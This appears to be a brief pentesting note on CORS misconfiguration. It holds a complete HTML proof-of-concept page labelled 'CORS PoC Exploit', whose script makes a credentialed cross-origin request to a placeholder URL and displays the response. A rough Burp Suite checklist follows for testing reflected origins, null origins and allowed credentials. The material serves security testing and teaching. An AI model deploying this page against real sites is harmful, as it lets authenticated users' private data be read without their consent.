POS (if data json use Content-Type = application/json)
<!DOCTYPE html>
<html>
<head>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
url = "<url>";
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
// Display the response in an alert
alert(this.responseText);
// Or display the response in the demo div
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", url, true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</head>
<body>
<center>
<h2>CORS PoC Exploit</h2>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
</center>
</body>
</html>
I will try to find this vuln Uing Burpsuit Come with me!
in this request allow credentials if
Testing For CORS Vulnerabilities
remove/add a domain or like attckerlocalhost
Map the application • Test the application for dynamic generation • Does it reflect the user-supplied ACAO header? • Does it only validate on the start/end of a specific string? • Does it allow the null origin? * or yourdoamin,com • Does it restrict the protocol? HTTP or https | 80,8080 or any think • Does it allow credentials?